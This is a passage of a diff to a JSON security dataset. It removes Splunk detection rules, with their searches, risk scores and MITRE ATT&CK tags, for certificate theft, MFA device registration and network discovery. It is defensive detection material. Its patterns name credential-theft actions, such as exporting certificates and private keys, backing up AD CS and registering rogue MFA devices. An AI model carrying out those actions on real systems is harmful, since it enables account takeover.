2). It leverages EventID 70, which is generated when a certificate's private key is acquired. This detection is significant because it can identify potential misuse of certificates, such as those extracted by tools like Mimikatz or Cobalt Strike. If confirmed malicious, this activity could allow attackers to impersonate users, escalate privileges, or access sensitive information, posing a severe risk to the organization's security.", - "search": "`capi2_operational` EventCode=70 | xmlkv UserData_Xml | stats count min(_time) as firstTime max(_time) as lastTime by Computer, UserData_Xml | rename Computer as dest | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `windows_steal_authentication_certificates_cryptoapi_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Certificates were exported via the CryptoAPI 2 on $dest$.", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows Steal Authentication Certificates CS Backup", - "description": "The following analytic identifies the backup of the Active Directory Certificate Services (AD CS) store, detected via Event ID 4876. This event is logged when a backup is performed using the CertSrv.msc UI or the CertUtil.exe -BackupDB command. Monitoring this activity is crucial as unauthorized backups can indicate an attempt to steal authentication certificates, which are critical for secure communications. If confirmed malicious, this activity could allow an attacker to impersonate users, escalate privileges, or access sensitive information, severely compromising the security of the environment.", - "search": "`wineventlog_security` EventCode=4876| stats count min(_time) as firstTime max(_time) as lastTime by dest, name, action, Caller_Domain ,Caller_User_Name | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_steal_authentication_certificates_cs_backup_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Active Directory Certiciate Services was backed up on $dest$.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows Steal Authentication Certificates Export Certificate", - "description": "The following analytic detects the use of the PowerShell cmdlet 'export-certificate' executed via the command line, indicating an attempt to export a certificate from the local Windows Certificate Store. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. Exporting certificates is significant as it may indicate credential theft or preparation for man-in-the-middle attacks. If confirmed malicious, this activity could allow an attacker to impersonate users, decrypt sensitive communications, or gain unauthorized access to systems and data.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*export-certificate*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_steal_authentication_certificates_export_certificate_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to export a certificate from the local Windows Certificate Store.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows Steal Authentication Certificates Export PfxCertificate", - "description": "The following analytic detects the use of the PowerShell cmdlet `export-pfxcertificate` on the command line, indicating an attempt to export a certificate from the local Windows Certificate Store. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant as it may indicate an attempt to exfiltrate authentication certificates, which can be used to impersonate users or decrypt sensitive data. If confirmed malicious, this could lead to unauthorized access and potential data breaches.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*export-pfxcertificate*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_steal_authentication_certificates_export_pfxcertificate_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to export a certificate from the local Windows Certificate Store.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - } - ], + "possible_detections": [], "external_reference": [], "controls": [], "x_mitre_network_requirements": false, @@ -438644,454 +302207,7 @@ "commands": [], "queries": [], "parsed_datasets": [], - "possible_detections": [ - { - "name": "Okta New Device Enrolled on Account", - "description": "The following analytic identifies when a new device is enrolled on an Okta account. It uses OktaIm2 logs ingested via the Splunk Add-on for Okta Identity Cloud to detect the creation of new device enrollments. This activity is significant as it may indicate a legitimate user setting up a new device or an adversary adding a device to maintain unauthorized access. If confirmed malicious, this could lead to potential account takeover, unauthorized access, and persistent control over the compromised Okta account. Monitoring this behavior is crucial for detecting and mitigating unauthorized access attempts.", - "search": " | tstats `security_content_summariesonly` count max(_time) as lastTime, min(_time) as firstTime from datamodel=Change where All_Changes.action=created All_Changes.command=device.enrollment.create by _time span=5m All_Changes.user All_Changes.result All_Changes.command sourcetype All_Changes.src All_Changes.action All_Changes.object_category | `drop_dm_object_name(\"All_Changes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_new_device_enrolled_on_account_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new device was enrolled on an Okta account for user [$user$]. Investigate further to determine if this was authorized.", - "risk_score": 24, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.005", - "mitre_attack_technique": "Device Registration", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "PingID Mismatch Auth Source and Verification Response", - "description": "The following analytic identifies discrepancies between the IP address of an authentication event and the IP address of the verification response event, focusing on differences in the originating countries. It leverages JSON logs from PingID, comparing the 'auth_Country' and 'verify_Country' fields. This activity is significant as it may indicate suspicious sign-in behavior, such as account compromise or unauthorized access attempts. If confirmed malicious, this could allow attackers to bypass authentication mechanisms, potentially leading to unauthorized access to sensitive systems and data.", - "search": "`pingid` (\"result.status\" IN (\"SUCCESS*\",\"FAIL*\",\"UNSUCCESSFUL*\") NOT \"result.message\" IN (\"*pair*\",\"*create*\",\"*delete*\")) | eval user = upper('actors{}.name'), session_id = 'resources{}.websession', dest = 'resources{}.ipaddress', reason = 'result.message', object = 'resources{}.devicemodel', status = 'result.status' | join user session_id [ search `pingid` (\"result.status\" IN (\"POLICY\") AND \"resources{}.ipaddress\"=*) AND \"result.message\" IN(\"*Action: Authenticate*\",\"*Action: Approve*\",\"*Action: Allowed*\") | rex field=result.message \"IP Address: (?:N\\/A)?(?.+)?\\n\" | rex field=result.message \"Action: (?:N\\/A)?(?.+)?\\n\" | rex field=result.message \"Requested Application Name: (?:N\\/A)?(?.+)?\\n\" | rex field=result.message \"Requested Application ID: (?:N\\/A)?(?.+)?\\n\" | eval user = upper('actors{}.name'), session_id = 'resources{}.websession', src = coalesce('resources{}.ipaddress',policy_ipaddress), app = coalesce(Requested_Application_ID,Requested_Application_Name) | fields app, user, session_id, src, signature ] | iplocation prefix=auth_ dest | iplocation prefix=verify_ src | stats count min(_time) as firstTime max(_time) as lastTime values(app) as app values(session_id) as session_id by user, dest, auth_Country, src, verify_Country, object, signature, status, reason | where auth_Country != verify_Country | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `pingid_mismatch_auth_source_and_verification_response_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account" - ], - "asset_type": "Identity", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "object", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "An authentication by [$user$] was detected from [$dest$ - $auth_Country$] and the verification was received from [$src$ - $verify_Country$].", - "risk_score": 25, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1098.005", - "mitre_attack_technique": "Device Registration", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "PingID New MFA Method After Credential Reset", - "description": "The following analytic identifies the provisioning of a new MFA device shortly after a password reset. It detects this activity by correlating Windows Event Log events for password changes (EventID 4723, 4724) with PingID logs indicating device pairing. This behavior is significant as it may indicate a social engineering attack where a threat actor impersonates a valid user to reset credentials and add a new MFA device. If confirmed malicious, this activity could allow an attacker to gain persistent access to the compromised account, bypassing traditional security measures.", - "search": "`pingid` \"result.message\" = \"*Device Paired*\" | rex field=result.message \"Device (Unp)?(P)?aired (?.+)\" | eval src = coalesce('resources{}.ipaddress','resources{}.devicemodel'), user = upper('actors{}.name'), reason = 'result.message' | eval object=CASE(ISNOTNULL('resources{}.devicemodel'),'resources{}.devicemodel',true(),device_extract) | eval action=CASE(match('result.message',\"Device Paired*\"),\"created\",match('result.message', \"Device Unpaired*\"),\"deleted\") | stats count min(_time) as firstTime, max(_time) as lastTime, values(reason) as reason by src,user,action,object | join type=outer user [| search `wineventlog_security` EventID IN(4723,4724) | eval PW_Change_Time = _time, user = upper(user) | fields user,src_user,EventID,PW_Change_Time] | eval timeDiffRaw = round(lastTime - PW_Change_Time) | eval timeDiff = replace(tostring(abs(timeDiffRaw) ,\"duration\"),\"(\\d*)\\+*(\\d+):(\\d+):(\\d+)\",\"\\2 hours \\3 minutes\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `security_content_ctime(PW_Change_Time)` | where timeDiffRaw > 0 AND timeDiffRaw < 3600 | `pingid_new_mfa_method_after_credential_reset_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account" - ], - "asset_type": "Identity", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "object", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "An MFA configuration change was detected for [$user$] within [$timeDiff$] of a password reset. The device [$object$] was $action$.", - "risk_score": 50, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1098.005", - "mitre_attack_technique": "Device Registration", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "PingID New MFA Method Registered For User", - "description": "The following analytic detects the registration of a new Multi-Factor Authentication (MFA) method for a PingID (PingOne) account. It leverages JSON logs from PingID, specifically looking for successful device pairing events. This activity is significant as adversaries who gain unauthorized access to a user account may register a new MFA method to maintain persistence. If confirmed malicious, this could allow attackers to bypass existing security measures, maintain long-term access, and potentially escalate their privileges within the compromised environment.", - "search": "`pingid` \"result.message\"=\"Device Paired*\" result.status=\"SUCCESS\" | rex field=result.message \"Device (Unp)?(P)?aired (?.+)\" | eval src = coalesce('resources{}.ipaddress','resources{}.devicemodel'), user = upper('actors{}.name'), reason = 'result.message' | eval object=CASE(ISNOTNULL('resources{}.devicemodel'),'resources{}.devicemodel',true(),device_extract) | eval action=CASE(match('result.message',\"Device Paired*\"),\"created\",match('result.message', \"Device Unpaired*\"),\"deleted\") | stats count min(_time) as firstTime, max(_time) as lastTime by src,user,object,action,reason | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `pingid_new_mfa_method_registered_for_user_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account" - ], - "asset_type": "Identity", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "object", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "An MFA configuration change was detected for [$user$], the device [$object$] was $action$.", - "risk_score": 10, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1098.005", - "mitre_attack_technique": "Device Registration", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Azure AD New MFA Method Registered", - "description": "The following analytic detects the registration of a new Multi-Factor Authentication (MFA) method for a user account in Azure Active Directory. It leverages Azure AD audit logs to identify changes in MFA configurations. This activity is significant because adding a new MFA method can indicate an attacker's attempt to maintain persistence on a compromised account. If confirmed malicious, the attacker could bypass existing security measures, solidify their access, and potentially escalate privileges, access sensitive data, or make unauthorized changes. Immediate verification and remediation are required to secure the affected account.", - "search": "`azure_monitor_aad` operationName=\"Update user\" | rename properties.* as * | eval propertyName = mvindex('targetResources{}.modifiedProperties{}.displayName', 0) | search propertyName = StrongAuthenticationMethod | eval oldvalue = mvindex('targetResources{}.modifiedProperties{}.oldValue',0) | eval newvalue = mvindex('targetResources{}.modifiedProperties{}.newValue',0) | rex field=newvalue max_match=0 \"(?i)(?\\\"MethodType\\\")\" | rex field=oldvalue max_match=0 \"(?i)(?\\\"MethodType\\\")\" | eval count_new_method_type = coalesce(mvcount(new_method_type), 0) | eval count_old_method_type = coalesce(mvcount(old_method_type), 0) | stats earliest(_time) as firstTime latest(_time) as lastTime values(propertyName) by user newvalue oldvalue | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_new_mfa_method_registered_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new MFA method was registered for user $user$", - "risk_score": 30, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.005", - "mitre_attack_technique": "Device Registration", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "O365 New MFA Method Registered", - "description": "The following analytic detects the registration of a new Multi-Factor Authentication (MFA) method for a user account within Office 365. It leverages O365 audit logs to identify changes in MFA configurations. This activity is significant as it may indicate an attacker's attempt to maintain persistence on a compromised account. If confirmed malicious, the attacker could bypass existing security measures, solidify their access, and potentially escalate privileges or access sensitive data. Immediate verification and remediation are required to secure the affected account.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Update user.\" | eval propertyName = mvindex('ModifiedProperties{}.Name', 0) | search propertyName = StrongAuthenticationMethod | eval oldvalue = mvindex('ModifiedProperties{}.OldValue',0) | eval newvalue = mvindex('ModifiedProperties{}.NewValue',0) | rex field=newvalue max_match=0 \"(?i)(?\\\"MethodType\\\")\" | rex field=oldvalue max_match=0 \"(?i)(?\\\"MethodType\\\")\" | eval count_new_method_type = coalesce(mvcount(new_method_type), 0) | eval count_old_method_type = coalesce(mvcount(old_method_type), 0) | where count_new_method_type > count_old_method_type | stats earliest(_time) as firstTime latest(_time) as lastTime values(propertyName) by user newvalue oldvalue | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_new_mfa_method_registered_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new MFA method was added for $user$", - "risk_score": 30, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.005", - "mitre_attack_technique": "Device Registration", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - } - ], + "possible_detections": [], "external_reference": [], "controls": [], "x_mitre_network_requirements": false, @@ -439674,921 +302790,7 @@ "Event ID": "4688", "Event Name": "Process Execution" } - ], - { - "name": "GetNetTcpconnection with PowerShell", - "description": "The following analytic identifies the execution of `powershell.exe` with the `Get-NetTcpConnection` command, which lists current TCP connections on a system. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. Monitoring this activity is significant as it may indicate an adversary or Red Team performing network reconnaissance or situational awareness. If confirmed malicious, this activity could allow attackers to map network connections, aiding in lateral movement or further exploitation within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*Get-NetTcpConnection*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getnettcpconnection_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Network Connection discovery on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "GetNetTcpconnection with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-NetTcpconnection` PowerShell cmdlet using PowerShell Script Block Logging (EventCode=4104). This cmdlet lists network connections on a system, which adversaries may use for situational awareness and Active Directory discovery. Monitoring this activity is crucial as it can indicate reconnaissance efforts by an attacker. If confirmed malicious, this behavior could allow an attacker to map the network, identify critical systems, and plan further attacks, potentially leading to data exfiltration or lateral movement within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Get-NetTcpconnection*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `getnettcpconnection_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Network Connection discovery on $Computer$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Network Connection Discovery With Arp", - "description": "The following analytic detects the execution of `arp.exe` with the `-a` flag, which is used to list network connections on a compromised system. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line executions, and related telemetry. Monitoring this activity is significant because both Red Teams and adversaries use `arp.exe` for situational awareness and Active Directory discovery. If confirmed malicious, this activity could allow attackers to map the network, identify active devices, and plan further lateral movement or attacks.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"arp.exe\") (Processes.process=*-a*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `network_connection_discovery_with_arp_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "IcedID", - "Prestige Ransomware", - "Qakbot", - "Volt Typhoon", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Network Connection discovery on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Network Connection Discovery With Net", - "description": "The following analytic identifies the execution of `net.exe` or `net1.exe` with command-line arguments used to list network connections on a compromised system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential network reconnaissance by adversaries or Red Teams, aiming to gather situational awareness and Active Directory information. If confirmed malicious, this behavior could allow attackers to map the network, identify critical assets, and plan further attacks, potentially leading to data exfiltration or lateral movement.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"net.exe\" OR Processes.process_name=\"net1.exe\") (Processes.process=*use*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `network_connection_discovery_with_net_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Azorult", - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Network Connection discovery on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Network Connection Discovery With Netstat", - "description": "The following analytic detects the execution of `netstat.exe` with command-line arguments to list network connections on a system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line executions, and parent processes. This activity is significant as both Red Teams and adversaries use `netstat.exe` for situational awareness and Active Directory discovery. If confirmed malicious, this behavior could allow attackers to map network connections, identify critical systems, and plan further lateral movement or data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"netstat.exe\") (Processes.process=*-a*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | 